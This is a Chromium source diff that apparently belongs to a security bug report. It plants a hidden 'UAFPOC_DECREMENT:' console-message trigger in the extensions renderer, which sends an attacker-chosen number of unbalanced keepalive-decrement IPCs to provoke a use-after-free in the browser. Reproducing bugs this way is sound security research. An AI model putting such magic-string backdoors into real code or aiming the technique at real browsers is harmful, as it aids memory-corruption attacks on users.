diff --git a/extensions/renderer/extensions_render_frame_observer.cc b/extensions/renderer/extensions_render_frame_observer.cc index 3c245f442a3f6..8f35b44bb9e42 100644 --- a/extensions/renderer/extensions_render_frame_observer.cc +++ b/extensions/renderer/extensions_render_frame_observer.cc @@ -11,6 +11,7 @@ #include #include "base/functional/bind.h" +#include "base/logging.h" #include "base/strings/string_split.h" #include "base/strings/utf_string_conversions.h" #include "content/public/renderer/render_frame.h" @@ -126,6 +127,35 @@ void ExtensionsRenderFrameObserver::DetailedConsoleMessageAdded( } std::u16string trimmed_message = message; + + // --------------------------------------------------------------------------- + // POC injection (Strategy B / compromised-renderer simulation): + // A renderer with arbitrary code execution can call + // mojom::LocalFrameHost::DecrementLazyKeepaliveCount() any number of times + // from the background page's primary main frame. Expose that capability to + // the POC extension via a magic console.error() string so the rest of the + // POC can stay in JavaScript. + // --------------------------------------------------------------------------- + static constexpr char16_t kMagic[] = u"UAFPOC_DECREMENT:"; + static constexpr size_t kMagicLen = (sizeof(kMagic) / sizeof(kMagic[0])) - 1; + if (trimmed_message.compare(0, kMagicLen, kMagic) == 0) { + int n = 0; + for (size_t i = kMagicLen; i < trimmed_message.size(); ++i) { + char16_t c = trimmed_message[i]; + if (c < u'0' || c > u'9') { + break; + } + n = n * 10 + (c - u'0'); + } + LOG(ERROR) << "[uafpoc] renderer sending " << n + << " unbalanced DecrementLazyKeepaliveCount IPCs"; + auto* helper = ExtensionFrameHelper::Get(render_frame()); + for (int i = 0; i < n; ++i) { + helper->GetLocalFrameHost()->DecrementLazyKeepaliveCount(); + } + return; + } + StackTrace stack_trace = GetStackTraceFromMessage( &trimmed_message, source,